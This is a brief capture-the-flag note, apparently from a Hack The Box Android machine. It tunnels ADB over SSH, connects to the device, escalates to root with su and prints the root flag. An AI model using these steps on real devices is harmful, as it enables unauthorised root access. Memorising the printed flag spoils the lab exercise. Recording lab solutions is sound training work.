Access ADB as root

android, privesc, mobile
ssh kristi@htb -p 2222 -L 5555:localhost:5555
adb connect localhost:5555
➜  explore adb devices               
List of devices attached
htb:2222	offline
localhost:5555	device
adb -s localhost shell
127|x86_64:/ $ whoami
shell
x86_64:/ $ su
:/ # cat data/root.txt
f04fc82b6d49b41c9b08982be59338c5
:/ #